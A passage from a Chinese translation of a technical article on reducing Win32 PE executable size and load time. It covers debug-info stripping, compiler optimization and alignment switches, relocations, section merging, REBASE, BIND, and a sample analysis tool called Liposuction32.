SDK。COFF调试信息象CodeView符号一样会占据可执行文件的很大空间，所以在发行前你应该去除。
Microsoft编译器还能产生另一种调试信息，叫做FPO(Frame Pointer
Omission)。FPO用来连接CodeView或PDB符号。它在编译器没有用EBP寄存器生成标准堆栈桢(a standard stack frame)
的地方帮助调试器查找函数的参数和本地变量。FPO信息也很大，同样要在发行前去除。

最后，在Microsoft编译器生成的可执行文件里你可以看见混杂的调试信息。这个区域通常是0x110字节，保存着链接器生成的可执行文件的名字。如果你改了可执行文件的名字，调试器依然能用混杂调试信息来判定文件的原始名字，然后算出对应的PDB文件的名字。在发行前非调试链接可执行文件就可以去除这混杂调试信息。

除了调试信息浪费的空间外，还有两个原因要求你关心你发行的文件里有没有调试信息。第一，存在调试信息就表明编译时编译器的优化开关没打开。优化开关可以很大程度地减小文件长度，下面我还会说到它。第二，调试信息让你无法防范别人反求你的程序。记住，调试信息表明了你的代码、数据、类型(例如类的定义)。有了调试信息，一个中等能力的程序员可以象打开核桃一样crack你程序的内部机制。

使用优化开关
虽然编译器的优化开关被抨击产生BUG代码，我认为没有比放弃它更糟的事了。依我经验，高度优化时产生的问题都是由于优化代码速度而不是代码长度引起的。说实在话，在我让编译器为代码长度优化时我从来没有见过优化开关产生的BUG。

优化开关的好处不是它产生好的代码，一个优秀的汇编语言程序员能做到甚至比优化开关做得更好。优化开关能把你从编译器可能产生的效率不高的代码中ZHENJIU出来。下面我用Visual
C++来做个例子，你能看见不同的编译器产生的类似的结果。

int foo( int i )
{
return i * 2;
}

int main()
{
if ( foo(7) )
return 1;
else
return 0;
}

缺省情况下，非优化的Visual C++ 4.1用CL FOO.C语句会产生表1的指令，这两个函数共有0x48字节。
Figure 1 Assembler from Nonoptimized Code

foo proc
401000: PUSH EBP
401001: MOV EBP,ESP
401003: PUSH EBX
401004: PUSH ESI
401005: PUSH EDI
401006: MOV EAX,DWORD PTR [EBP+08]
401009: ADD EAX,EAX
40100B: JMP 00401010

401010: POP EDI
401011: POP ESI
401012: POP EBX
401013: LEAVE
401014: RET
foo endp

main proc
401015: PUSH EBP
401016: MOV EBP,ESP
401018: PUSH EBX
401019: PUSH ESI
40101A: PUSH EDI
40101B: PUSH 07
40101D: CALL 00401000
401022: ADD ESP,04
401025: TEST EAX,EAX
401027: JE 0040103C

40102D: MOV EAX,00000001
401032: JMP 00401043

401037: JMP 00401043

40103C: XOR EAX,EAX
40103E: JMP 00401043

401043: POP EDI
401044: POP ESI
401045: POP EBX
401046: LEAVE
401047: RET
main endp
现在，我们打开长度的优化开关(CL /O1 FOO.C)：

foo proc
401000: MOV EAX,DWORD PTR [ESP+04]
401004: ADD EAX,EAX
401006: RET
foo endp

main proc
401007: PUSH 07
401009: CALL 00401000
40100E: ADD ESP,04
401011: CMP EAX,01
401014: SBB EAX,EAX
401016: INC EAX
401017: RET
main endp

噢！打开长度优化开关使生成的代码少了0x18字节，是非优化的33%。如果你比较一下这两段代码，你能看见优化开关减少不必要代码的几个途径。

第一，两个函数(FOO和MAIN)都不要堆栈(PUSH EBP，MOVE
EBP，ESP和LEAVE指令)。第二，注册的变量寄存器(EBX，ESI，EDI)都没有用上，所以优化版本不用PUSH和POP保存它们。第三，在非优化版本里，两个函数都经常用JMP来跳到下一条指令上。这样做不仅无用、占5字节，还打断了CPU的流水线(pipeline)，这是应该避免的。第四，main函数里的if语句在优化版本里很聪明地翻译成CMP，SBB，用EAX来返回值；然而，你简直找不到比非优化版本更差的办法了。

在这儿，FCC规则要求我告诉你，你不能时刻期待优化器能有如此成功的效果，上面这个小例子无疑是造作的结果。同时，记住我打开的长度开关是长度的开关，而不是速度。这里的要点是优化开关给了你聪明的代码。

当你比较长度优化和速度优化时，你会发现这两者几乎是同一回事。主要的差别在于，优化速度时编译器会打开内联的函数，例如strcpy等，这样生成的代码就不用调用外部函数。这时速度会加快，但内联函数会增大代码。在最坏情况下，它们会加入一个4KB的页，从而可能引起附加页面错。一个页面错的严重性应该说比你从内联函数得到的好处要大，所以你必须小心权衡你的优化的决定。这个可以作为参考：Microsoft的操作系统编写队伍从长度优化而不从速度优化。

看看你的队列！
除了长度优化给你的更好的代码之外，还有一个很好的理由让你使用Visual
C++的长度优化开关。从不同的OBJ和LIB文件里集成片断(section)时，编译器把每个OBJ文件里的代码和数据从一个偏移量开始放置。对于COFF的OBJ文件(由Visual
C++生成)，偏移量是WINNT.H中预定义的IMAGE_SCN_ALIGN_XBYTES，可以是1, 2, 4, 8, 16, 32, 或64字节
Visual C++ 4.1的缺省偏移值是16字节，也就是说，OBJ文件里的每个片断都从第16字节开始放置，在上一个OBJ与下一个OBJ中的空间填满INT
3。最糟情况下，链接后的文件里每个段落之间你会得到15字节INT 3。如果Visual
C++能让你选择偏移的量会好一些，但现在并没有提供这个功能。现在，在OBJ之间你必然有16字节的偏移。

如果说这些OBJ之间的填充不足以称为“空间杀手”，一个看起来无害的Visual C++编译选项如果你使用不恰当会。想一下Visual
C++文件是怎么介绍/Gy开关的：“本选项按照COMDAT格式生成函数包以实现函数级链接”。在英语里，这意味着链接器将从一个OBJ里取出所需要的函数，而不是把整个OBJ链接进来。

/Gy 开关不正确使用时的问题是使得链接器为每个函数都分配一个偏移。我已经见到很多有几千个函数而且使用/Gy
的可执行文件。既然他们使用缺省的16字节偏移量，里面就到处分布有共8KB的INT
3。等一下，还不止这些！你不会想到即使你不打开/Gy开关，如果你用/O1(优化长度)或/O2(优化速度)开关，它也会隐含地打开。

嗨，这看起来有点混乱。我一边既叫你优化长度，另一边又告诉你优化长度会打开这个浪费空间的/Gy。想想长度，又想想速度：你该怎么办呢？

如果你不想强迫编译器使用一个特别的偏移量，至少你还可以用一个开关来解决：/Os。这个开关的意思是“长度重于速度”，它将迫使编译器使用1字节的偏移量，而不是缺省的16字节。猜一猜会发生什么事：当你用优化长度的/O1时，/Os开关自动打开，于是虽然/O1也打开了/Gy，/Os会设定偏移为1，于是去除量/Gy通常会带来的多余的长度。相反，如果你用优化速度的/O2，/Os不打开，于是你就有了垃圾。所以：用/O1而不用/O2，至少在微软提供更好的办法之前如此。

另一个问题是在可执行文件里面的片段的对准。缺省情况下，Borland和Microsoft的链接器在可执行文件中的每一个片段都是以512字节作为边界的。如果你的程序中有好几个小的片段（就是说小于0x200字节的片段），理论上设置一个小一些的边界值——比如16字节——对你会更有用。Microsoft的Linker有一个/ALIGN开关可以实现这个功能。如果你是Borland
C++用户，可以用/Afnnnn开关设置文件边界。

不幸的是，对于Microsoft用户来说，如果你使用/Align选项，它会把内存里的片段和磁盘文件上的片段设置成同样的数值（比如16字节）。在Windows
NT中，按照16字节对准的可执行程序可以运行，但是处于某些低级技术原因，你可能不会想这么做。唉，Windows
95不会运行片段边界不是0x1000字节的倍数的可执行程序。

Borland的TLINK32可以明确地使得你单独设置文件的边界。不过，在Borland C++
5.x中，把文件的片段边界设置为任何小于512字节的数值会导致生成无效的可执行代码。结果是：有时候，使用更小的边界尺寸也许是压缩PE可执行文件大小的一种方法。不过，除非链接器能够提供必要的灵活性并且工作正常，否则，此路不通。

典型情况下，当你的程序包含未初始化数据的时候，编译器会把有关信息放到一个称为.bss的OBJ片段里面。在可执行文件里面，.bss不会占用任何空间。如果可执行文件里面包含.bss片段，操作系统就必须为其提供物理内存。即使你仅仅使用了4字节的未初始化的DWORD变量，操作系统也必须为其建立4KB的物理内存，因为是以4KB页面为单位分配的。

比使用一个单独的.bss片段更好的方式是把它合并到一个初始化数据片段中。在这种方式下，如果你的程序的未初始化数据不太多，则这些数据会被合并到已经被初始化数据使用的4KB内存中。幸运的是，大多数现今的链接器（包括Visual
C++ 4.x和Borland C++
5.x）可以自动把未初始化数据合并到初始化数据片段中。如果你在一个可执行文件里看到.bss片段，这个文件很可能使用老版本的链接器生成的。如果这是你自己编写的程序，你有理由将它升级。

至今为止我给出的所有提示更是用于那些非固有的问题（All of the tips I've given you so far are pretty much
no-brainers with nothing inherently questionable about
them.）还有几条其他的路——需要动一点脑筋——可以消减你的程序的空间消耗。换言之，我后面的建议可能是你想或者不想做的。你必须确定它们是否适用于你的特殊程序。

删除重定位信息
Win32
PE可执行文件通过映射各个片断（比如代码片段和数据片段）到内存中的制定地址来完成加载。对于每个被加载的可执行模块（EXE和DLL），Win32加载器都会从模块中提取基地址。然后模块中的所有片段被加载到相对于基地址的一个偏移地址中。顺便提一句，这个基地址与可执行文件的模块句柄（HMODULE）完全相同。

当链接器在生成PE文件的时候，会给出一个首选的加载地址。换句话说，链接器优化了文件，这样，如果Win32加载器能够加载文见到首选地址的话，只需要做很少一点工作就可以了。另一方面，如果Win32加载器无法加载模块到首选地址，那么加载器就必须自己做很多工作。加载器必须重新链接模块，这样，所有对代码和数据项的内部引用都被正确地指向新的加载地址。

Win32加载器用来在内存中重定位模块的信息被认为是基本重定位。这些数据存放于可执行文件的一个通常称为.reloc的片段中。简单情况下，基本重定位信息是一系列内存模块中的偏移，加载器必须在此处添加实际加载地址和首选加载地址之间的位移。无疑，你可以想象，基本重定位信息越多，加载器在内存中重定位模块时要做的工作就越多。后面我会对此做更多的探讨。

理想情况下，模块被加载到首选地址，Win32加载器无需关心.reloc片段的基本重定位信息。如果你想要冒险使得模块总是被加载到其首选地址的话，你可以去掉重定位信息。我无法确保你这种冒险的稳定性。如果你删除了重定位信息，而加载器又无法加载模块到首选地址的话，加载器就会拒绝加载该模块。Game
over！另一方面，打的程序可以由几百KB的重定位信息，所以，这才是需要考虑的目标。

如何决定是否该删除重定位信息？下面是一些通用的指导方针。记住要用你最佳的判断历来从头到为地思考形式。由于每个进程只有一个EXE文件，你通常可以忽略EXE文件中的重定位信息。习惯上，EXE文件被加在到进程地址空间的线性地址0x400000(4MB)处，并且首先获得选择加载地址的机会（在DLL之前）。由于很少会出现无法加在EXE到首选地址的情况，所以通常忽略或者删除重定位信息是安全的。

与EXE相反的是，每个进程通常有多个DLL成用进程的地址空间。幸好它们都被加载到不同的地址，而且无需重定位。尽管如此，保留DLL重的重定位信息还是一个廉价的保险措施，这就使得DLL可以被加载到任何需要的地方。这在你无法控制所有进程所需的DLL情况下就尤其重要。

尽管尝试和归纳上述论点并且认为“重定位信息应该从EXE文件中剔除，但是保留在DLL中”的想法挺诱人的，可是还是有反例的。比如，Program1想从另一个EXE文件（Program2）中读取资源，如果Program2的重定位信息丢失了的话，Program1就不能把Program2映射到内存中来访问其资源。以你的程序为例，你的程序有一个主窗口的图标。为了显示你的程序的图标，Explorer或者Progman需要加载你的程序以访问图标资源。

在什么场合下会对从DLL中删除重定位信息敏感呢？也许你的应用程序只需要很少的磁盘空间和内存就可以运行，你对应用程序和操作系统拥有完全的控制权，那么假设你的DLL无论如何也不会被加载到你制定的位置之外的地方是相当安全的。你可以精确地决定正在加载的程序的特性，并且可以得知只要可执行文件和操作系统不改变，这些特性就不会改变。

如果你决定删除重定位信息，那么可以有三种方法。最简单的是在链接器命令行指定/FIXED开关。还有一种方法是，你可以对你的执行程序运行加-f参数的REBASE程序。Win32
SDK附带了REBASE。第三种删除重定位信息的方法是新的NT 4.0
IMAGEHLP.DLL内部的RemoveRelocations函数。下面的例子代码显示了如何使用RemoveRelocations。

合并片段
在可执行文件里，由程序的代码、数据、资源、导入信息、导出信息等等拼凑起来的原始数据被存放与不同的片段中。通常，程序中有一个代码片段（对于Microsoft的编译器叫做.text，对于Borland
C++编译器叫做CODE），一个可写的数据片段，一个资源片段（.rsrc），一个导入片段（.idata），一个导出片段（.edata）。对于公用片段做一个完全的罗列是没意思的。

除了这些“标准”片段之外，你还可以用编译器程序或者汇编器的SEGMENT指令建立其他的片段。比如，你可能有一些能够被所有使用你的DLL的进程共享的数据。为了实现数据共享，你最好建立一个新片段，并且告诉链接器链接文件的时候给予这个片段SHARED属性。

在某些情况下，“片段”是段的Win32的等效。在我的16-bit吸脂文章里，我描述了每个段是如何使用系统资源（比如，LDT选择符）的，这对保持你的代码的段的数量尽可能少是个好办法。这个思路对Win32同样有效。PE文件里的每个“片段”从内部操作系统表中使用内存。每个附加片段缺省情况下会给可执行文件增加512字节。

更重要的是，每个在内存中被访问的可执行文件片段都会使用至少4KB的物理内存。因而，即使你在片段里只使用了2字节的数据，你还是必须为此开销4KB的物理内存。如果你有三个片段，每个实际只使用了10字节内存，实际开销仍旧是12KB物理RAM。

只要可能，你就应该把属性相同或兼容的片段合并起来。我在这里有意模糊了一下，因为我没有找到一个硬性的、快速的法则可以给你。如果你没有显式地建立你自己的片段，而你又在使用本文所提及的工具，你可以放心地忽略这一点。这些工具可以非常恰当地合并逻辑上可以合并的片断。比如，Visual
C++ 4.1可以把好几个不同的OBJ文件里的.CRT、.bss和.data段合并成可执行文件的单一段。

如果你真的想优化你的应用程序，你会发现还是有一些段是链接器无法自动合并的。但是你可以强迫链接器合并它们。比如，如果你在Windows NT
4或者更高版本下测试可执行文件，你会发现大多数情况下.idata和.edata段已经被合并到.rdata（只读数据）段。

那么，你该如何合并片段呢？微软的链接器提供了一个开关称为/MERGE，精确的语法是：
/MERGE:<source_section>=<destination_section>

链接器会把源片段的内容添加到目的片段，从而使得它们看上去就像是磁盘上的一个单个的段。

对于有些段你可以把它放在一边，尽管看上去把它们合并起来更好些。一个是.rsrc段，Win32的UpdateResource函数假设资源总是在自己的独立的段里面。另一个要避免被合并的是.tls段，这是线程的局部变量呆的地方。线程局部变量是那些你用__declspec(thread)声明的变量。最后，你可能已经分割了你的代码，因此可能会有一个只是在启动的时候才用到的段。你不会想把这个段合并到其他段中，因为当来自附近其他逻辑段的代码和数据被访问的时候，那个段的代码会最有可能保存在内存页面中。（原文：You
wouldn't want to merge that with other sections, as that section's code would
most likely remain paged into memory when nearby code and data from other
logical sections are accessed.）

使用系统运行库代码：

如果你使用Visual C++，你也许能从你的可执行文件中除掉所有的运行库代码。到此为止，每个Win32平台都与至少一个Microsoft运行库（RTL）
for C/C++的拷贝想关联。理想情况下，你可以仅仅以来基本的C/C++ RTL DLL作为基本操作系统的起始部分。比如CRTDLL.DLL从Windows
NT 3.1开始就伴随着每个Win32平台。唉，微软再也不提供CRTDLL.DLL的引入库了。

自从CRTDLL.DLL不再成为一个选择，如果有标准的Visual C++ RTL DLL存在就好了。不幸的是，Windows
95使用了MSVCRT20.DLL，而Windows NT 3.51却不是这样。在Windows NT
4.0，存在MSVCRT40.DLL和MSVCRT.DLL，可就是没有MSVCRT20.DLL。

综上所述，在目前，我无法找到一个合适的方法来生成一个使用系统提供的C/C++ RTL
DLL并且可以使用所有当前Win32平台的DLL的程序。看样子，MSVCRT.DLL是朝着这个方向迈出了一步，可是，却没有相关的引入库。

说到这儿，如果你有一个用于特定Win32平台的程序，你可以使用系统附带的相关的MSVCRTxx.DLL。当然，如果你不在意额外的关联一个运行库DLL的工作，那么你当然应该考虑使用运行库DLL，而不是静态链接的RTL。如果你的产品有许多可执行文件组成的话，这就特别值得了。

避免地址空间冲突

到目前为止，我已经讨论了减小可执行文件大小的途径。现在让我们来看看一些通用的加快程序加载速度的途径。就想我前面提到的压缩尺寸那样，我的升级的吸脂程序可以识别某些你可以用来改进性能的东西。

早些时候，当我叙述除掉重定位信息的时候，我提到Win32加载器可能无法加载一个可执行模块到它的首选加载地址。载这种情况下，加载器不得不移动内存中别处的模块。重定位信息是一种允许加载器修改内存中模块以使之运行在与其首选加载地址不同的地址空间的信息。你可以想象使用重定位信息来在内存中移动模块是一件花时间的事情。重定位信息越多，时间开销越大。

那么，为什么加载器无法加载模块到它的首选地址空间呢？首要的原因是已经有某些东西占用了部分或所有的目的地址范围。“某些东西”是指什么？它可能是一个企图加载到已经用于线程栈的区域的模块，或者可能希望的加载地址与某个程序的堆区域冲突。最可能的情况是，模块企图加载到已经被其他模块占用的内存空间。不管这些冲突会造成什么后果，加载器都不得不找到一个不同的、未用的线性内存区域，并且处理所有的重定位信息来把模块移到那里。

加载冲突的典型例子跟DLL有关。大多数链接器使用0x10000000(或256MB)作为缺省的首选加载地址。如果你的Project由一个EXE和五个DLL组成，而你没对指定加载地址做任何处理，你会因为一个DLL可以加载到首选地址而另外四个DLL则需要加载器能找到能加载它们的地方而死机。很明显，必须采取措施来避免这一情形。

那么，该做些什么来避免这种情况的发生呢？首先，加载器允许你制订一个首选加载地址。对于Microsoft链接器，命令行选项是/BASE:xxxx，这里xxxx是一个十六进制格式的地址。对于Borland的TLINK32，等效开关是-B:xxxx。

知道了可以载链接时刻指定首选加载地址之后，你就可以试者把地址设定得足够远，使得任何两个DLLs都不会重叠。但是这种工作很罗嗦而且容易出错。比如，如果你把基地址挑得靠在一起，如果你下次修改了模块的代码，使得其内存范围扩张到模块的空间，就很容易造成冲突。

更简单的设置首选加载地址的方法是使用Win32
SDK的REBASE程序。REBASE的主要用途是改变一个已存在的可执行文件的首选加载地址。REBASE的实际能力是可以处理一组文件。REBASE建立一个进程将要加载的EXE和DLL的列表，并且为每个可执行模块计算加载地址，使得列表中的可执行模块不会和其他模块冲突。计算之后，REBASE就可以遍历和修改每个可执行模块的首选加载地址。

典型情况下，REBASE被用做项目的系统的一部分。所有的部件都链接好之后，一个包含了所有可执行模块名字的文件传送给REBASE，REBASE依此修改每一个可执行模块。比如，假设你的项目包含A.EXE，B.DLL，C.DLL和D.DLL，只要建立一个如下所示的文件：BASE_IT.TXT：

A.EXE
B.DLL
C.DLL
D.DLL

然后把这个文件连同起始首选地址一起传送给REBASE。比如：

REBASE -b 600000 -R C:\MYDIR -G BASE_IT.TXT

指定了BASE_IT.TXT列出的内容的映像应该是同一组的，而且起始地址是0x600000，并且列表中的文件名是位于C:\MYDIR目录。REBASE还有其他的一些选项，这里我并不打算描述。详情参见SDK文档。尽管REBASE并非一个界面友好的工具，但是如果你正在制作一个不平凡的商业软件的话，学习它的用法还是非常有价值的。

绑定

尽管避免地址空间冲突是一件很有价值的事情，但是还有很多方法可以用来降低Win32加载器的工作负载，以此改善可执行文件的加载时间。除了映像PE文件的片段到内存中之外，Win32加载器还要负责解决引入函数的引用。比如，假设你的程序调用了GetFocus函数。当你加载可执行模块时，Win32加载器不得不载内存中定位GetFocus，然后补足你的内存中模块的GetFocus的地址。

查找GetFocus的地址的活动很像GetProcAddress所做的工作。也就是，根据给出的模块的句柄和函数名字，搜索指定模块的导出表来查找被导出函数的地址。实际上，Win32加载器和GetProcAddress的动作相同并非偶然，在操作系统的内部，加载器和GetProcAddress使用了同样的内部例程。

既然知道了Win32加载器和GetProcAddress共享了许多代码，你就可以发现对于你引入的每个函数，操作系统都要像你对每一个引入函数调用GetProcAddress那样做出大致相同的工作。如果你对你的可执行文件运行一个像DUMPBIN或者TDUMP这样的程序，并且发现它引入了400个函数，想想看，每当你加载你的程序的时候，Windows要做400次GetProcAddress调用。够吓人的，是不是？

那么，如何改善这种情况呢？每次你运行程序的时候，被导入函数的地址也许不会改变。其实，当调用诸如GetFocus这样的系统函数的时候，引入函数的地址是不会改变的，除非用户安装了操作系统的升级版或者补丁。

由于入口函数的地址不会改变很多（开发阶段可能会有例外），如果有一种方法能够一次获得引入函数的地址，然后把它保存在你的可执行文件中，这岂非很伟大？现在，这种方法已经有了。这个过程称为“绑定”。当Win32加载器遇到一个正确绑定的可执行文件的时候，它就可以避免这些耗时的函数搜索工作。作为一个参考，Windows
NT附带的所有可执行文件都已经经过了“绑定”。

绑定可以用两种方法之一来完成。首先，你可以运行Win32 SDK的BIND程序。比如：
BIND –u FOOBAR.EXE
使得BIND遍历FOOBAR的引入函数列表，计算这些函数的地址，把这些地址写回FOOBAR.EXE。-u参数告诉BIND前进，并且把地址写入可执行文件。如果没有-u参数，BIND遍历查找引入函数的地址，但是不改写可执行文件。

绑定可执行文件的另一种方法是通过使用IMAGEHLP.DLL中的BindImage和BindImageEx函数。SDK的BIND工具仅仅是封装了BindImageEx函数。我的样本吸脂程序演示了如何使用BindImage。你可能会考虑用到BindImage和BindImageEx的一个地方是你的安装过程。

关于绑定有两个共同问题。首先，如果你绑定你的硬项，而后来导入的DLLs发生了改变，这将会发生什么事情呢？没事儿。当IMAGEHLP绑定可执行文件的时候，它也把一个表示导入的DLL的时间的时间标记写入到这个可执行文件中。当Win32加载器处理可执行文件中的导入函数的时候，会把你的文件中的时间标记同导入函数的DLL的时间标记做比较。如果时间匹配，加载器结束工作。如果时间标记不同，你也不用担心，加载器会象没有经过绑定那样处理可执行文件。换言之，如果你绑定了一系列DLLs，而其中的一个或多个发生了改变，并不会降低你的程序的性能。

另一个有关绑定的问题是，当你无法确切知道你的程序将要运行的Win32平台和版本（Windows 9x？Windows NT
3.51？4.0？哪一个Service
Pack？）的时候，会发生什么事情。比如你的程序调用了USER32.DLL的GetFocus，而且你对这个程序作了绑定。唯一能够感觉到你的绑定工作带来的速度的提高效果的人是那些拥有与你的USER32.DLL版本完全相同的人。因此，绑定值得一做吗？

即使你还没有意识到把你的程序映像绑定到系统API函数有任何好处，你还是会从把EXE和DLLs绑定的做法中得到好处。同样，如果你有好几个互相调用的DLLs，把这些DLLs绑定起来似的你导入的函数运行的更快的做法还是非常有价值的。当然，成功的绑定首先建立在你正确地REBASEd你的可执行文件的基础上。把你的可执行文件绑定到家载器会移到别处的DLL上不会给你带来任何好处。理想情况下，你的安装程序将会把你的可执行文件和DLL绑定起来作为安装程序的一部分。

Liposuction32
理论已经足够了！对我来说，本文最好的部分就是编写一个样本程序。有一个例外事，我的吸脂程序提供了我上面所述的每一个提示。实际上，只有一个核心程序，但是它既可以构造成一个命令行程序，（LIPO32.EXE）也可以构造为GUI程序（Liposuction32.EXE）。

如图2所示的GUI版本对交互地分析可执行文件是很有用的。你既可以在窗口顶部的编辑框中输入文件名，也可以用拖-放的方式把任何地方的文件拖到这个窗口。一旦给Liposuction32.EXE一个工作文件名，它就会在对话框的相关区域填写与这个程序有关的信息。底部的三个按钮提供了命令行程序LIPO32未实现的功能。这些按钮可以去除文件中的调试信息，剔除重定位信息，以及执行绑定工作。然后，这个程序会被重新分析以提供新的改进的版本。

图2 Liposuction32

图3所示的命令行版本LIPO32.EXE不想那么时髦Liposuction32.EXE，但是在其他方面更胜一筹。由于这是一个命令行工具，你可以在你的BUILD过程终于它协同工作。同样，你可以把它的所有输出重定向到一个文件中。如果你想分析大量文件的话，这可是一个非常方便的手段。比如，我使用命令行版本分析\WINNT\SYSTEM32目录下的每一个文件。如果你喜欢这样工作，可以求助于SHELL的FOR命令，比如，命令行

for %a in (*.exe *.dll) do lipo32.exe %a >> LIPO_OUTPUT

为当前目录下的每个EXE和DLL文件建立了一个LIPO32报告，并且把输出放到一个名为LIPO_OUTPUT的文件中。

Figure 3 LIPO32

对结果的解释

我们先来讨论GUI版本，看看这两个程序给了你什么信息。我之所以选择GUI版本是因为你总是可以看到某些表示这个程序的用途的信息被显示出来。如果命令行版本未发现什么错误，它并不输出任何特别的细节。

回到图2，顶部的编辑框包含了即将被分析的程序文件名。你可以输入程序名字，然后按下ENTER键来改变Liposuction32
的“显微镜”下的文件。文件名的左下方是显示重定位标的大小和映像是否绑定的区域。

标题为Incremental Linking的列表框告诉你在每个可执行文件的代码片段里找到了多少个INT 3。如前所述，当链接器执行增量链接的时候，会插入INT
3s。我是怎样得知文件中有多少个INT
3的呢？我使用了一种“残忍”的强制措施，这种措施在我所做的所有测试中看起来工作的很正常。在每个代码片段里，我反复扫描三个值为0xCC的连续字节。单个的0xCC是INT
3指令的操作码。我选择三个连续的0xCC作为触发条件是因为其他包含三个0xCC的指令出现的机会非常小。一旦我在一行里面发现三个INT 3，我继续扫描其他的INT
3s直到代码结束或者找到了不同的字节。

有一点很重要：在你的程序里面出现几百个INT 3s并不意味着曾经使用过增量链接。我说过链接器在缺省情况下如何按照16字节边界对齐OBJ文件和函数并用INT
3s填充其中的空隙。这些对齐用的INT 3s经常会显示出来。我并未试图把这种INT 3s同增量链接生成的INT 3s区分开来。毕竟，所有的INT
3都只不过是INT 3，而且它们都无谓地占用了空间。如果你需要区分这两种类型的INT
3，你可以修改我的代码来查找不超过15字节（16字节OBJ文件对齐情况下插入的最大填充代码）的INT 3s。

解释报告的INT 3s的数量的意思有点棘手。如果你又不超过1K的INT 3s，你可能看到的是Microsoft Linker的16字节填充物。如果有大量的INT
3s（比如，占到了全部代码的25%），可能你看到的是增量链接的产物。如果你看到的INT
3s在1~10KB之间，这既可能是增量链接的产物，也可能是链接器把每个函数对齐到16字节边界的产物。我早些时候描述Visual
C++的不带/O1开关的/Gy开关的时候曾经提到过这一点。我这里用的是粗略的数值。如果你的程序特别小或者出奇大，就需要调整这些选项。
标记为Debug
Info的列表框可执行文件中找到的调试信息的大小和类型。由Borland编译器生成的程序的调试信息标记为BORLAND，对于Microsoft的调试信息，你会看到诸如CODEVIEW、COFF、FPO以及MISC等调试信息的组合。其他编译器生成的调试信息可能会显示为CODEVIEW信息。

杂项的调试信息会仅仅占据0x110字节，而且可以被很安全地忽略掉。如果你看到文件中的Borland、CodeView或者COFF信息，就需要考虑一下了。文件中可能包含一些你不希望其他人看到的符号信息。FPO调试信息仅仅同其他调试信息一起使用，尽管它会占据大量的空间。关键问题是当你看到这些调试信息的时候，可能这个程序是debug板，因此并未经过优化。应该把调试信息的出现当作更深层次问题来对待。当然，你总是可以发现例外。比如，大多数的Windows
NT系统DLLs包含FPO信息以辅助调试，但是它们在编译的时候是经过优化处理的。

名为Unoptimized
Code的列表框仅显示不使用优化器是造成的空间浪费。一个建议是如果你发现未优化代码的迹象，你可以知道优化器未能工作。吸脂程序找到的未优化代码是跳转到后面的代码的JMP指令。这些JMPs指令浪费了5个字节，却什么也做不了。吸脂程序合计了它发现的这种序列的总数并且报告结果。记住，这些JMPs仅仅是未优化代码中的一类。还有许多其他的代码序列也会浪费空间，而我的代码是不会查找这类信息的。

如果你发现大量的“愚蠢的JMPs”，你最好看看是否选择了debug build方式（这时通常优化功能会关闭），如果你使用Visual
C++，你也可能会发现大量的INT 3s。矫正方法：用release方式重新编译。

Uninitialized
Data列表框包含可执行文件中所有包含未初始化数据的片段的列表。这个列表框应该是空的，因为链接器能够把这些片段组合到其他初始化数据段中以减少片段的数量。如果你在这个列表框中看到了内容，你可能再用一个过时的链接器。

Combinable
Sections列表框列出了可执行文件中可能被组合的片段。理论上，这些片段都可以被组合在一起（比如使用/MERGE开关）以减小片段数量，还可能节省磁盘空间。在每个可组合片段系列的末尾，列出了组合前和组合后会需要多少内存页面。可是，记住，你并不想盲从程序的提示。正如我前面所述，可能会有更好的理由而不去组合某些片段。

编写Combinable
Sections列表框的逻辑非常简单，所以我不会指出每一种简单的可能性，简而言之，就是查找具有相同属性的片段的代码。尽管如此，在比较片段属性之前，算法不考虑.reloc和.rsrc段。一个严重的缺陷是，这个算法逻辑不会提出可以被合并的片段，即使它们有不同的属性。比如，.idata和.edata段理论上可以合并到.rdata段中，尽管他们的属性不同。在我的测试中，这个列表框经常建议.idata段应该合并到.data段中。一个更好的选择是把.idata放到.rdata中。

Load
Conflicts列表框报告了导致加载冲突的可执行模块的文件名和内存范围。既然Liposuction32一次只检查一个可执行文件，它又是如何得知有加载冲突的呢？我的代码仅仅是简单地做了加载器所做的工作，那就是：它观察导入表，并且提取每一个导入的DLL的名字，然后，程序试图定位导入模块。如果找到了导入模块，Liposuction32提取其最佳导入地址。

当这些工作处理可执行文件的直接导入的所有模块的时候，如果一个导入模块导入了其他DLLs该怎么办？在定位和存储每一个导入模块到一个表中之后，Liposuction32对这个表执行排序，并且查找那些如果按照首选加载地址加载就会在线性地址空间相互重叠的模块。如果你发现这个列表框中有内容，恐怕就需要使用我前面介绍的REBASE程序了。

Liposuction32底部的三个按钮使得你可以修改一个已经存在的可执行文件。Strip Debug
Info按钮仅仅在可执行文件包含调试代码时可用。当我在Windows NT 4.0 Beta
2中编写这段代码的时候，我发现IMAGEHLP若作用与Borland的可执行文件，就会留下一个零长度文件。这一问题应该会在Windows
NT的后续版本里面得到解决。如果这个按钮可用，而你选择了“剔除调试代码”，则程序会调用IMAGEHLP的SplitSymbols函数。我注意到SplitSymbols还是会在文件中留下杂项调试信息。由于这些信息很小，你可以选择忽略之。如果你真的想完全剔除它，重新链接这个可执行文件而不要允许任何调试标记选项。

Remove
Relocations按钮在EXE文件中存在重定位信息的时候可用。对于DLLs来说，我故意禁止这个按钮以防止无意剔除重定位信息。如果你真的想删除DLLs中的重定位信息，你可以用-f选项运行REBASE。在程序内部，Remove
Relocations按钮使用IMAGEHLP的RemoveLocations函数。在Windows NT beta
2中，我发想这个函数的一个问题会导致可执行文件再也无法运行。这在以后的版本中应该会解决。

Bind按钮总是可用的，即使可执行文件的映像已经经过了绑定。为什么要这么做？我们假设经过检查的可执行文件已经经过了绑定，可能这个程序绑定的一个或者多个DLLs发生了改变。虽然我可以编写一段用于从可执行文件的绑定导入表读取信息和检查时间标记的代码，不过我想把这个工作作为那些有进取心的读者的练习。

Liposuction32和Lipo32的代码

在结束之前，我们来复习一下Liposuction32和Lipo32的代码的重要部分。我将以一步一步的详细分析来与你分享这段代码因为这里有大量的代码。而且，这里有一些值得了解的有用的提示，尤其是如果你将自己扩充这个程序的话。

两个程序的核心代码都是LIPO32.CPP（如图4所示）。AnalyzeFile函数就是分析一个可执行文件的地方。它既可以通过GUI代码（LIPOGUI.CPP）调用，也可以通过命令行代码（CMDLINEUI.CPP）调用。LIPO32.CPP文件自己并不输出任何信息。它检查指定的文件，然后调用一系列输出函数输出结果。输出函数的原型在LIPO32OUTPUT.H中。

图4 LIPO32.CPP

LIPOGUI.CPP和CMDLINEUI.CPP都实现了LIPO32OUTPUT.H中的函数。这是在GUI和命令行版本之间共享核心代码的关键。MAKEFILE中的定义HARDCORE=1告诉NMAKE应该链接命令行源代码而不是GUI版本。

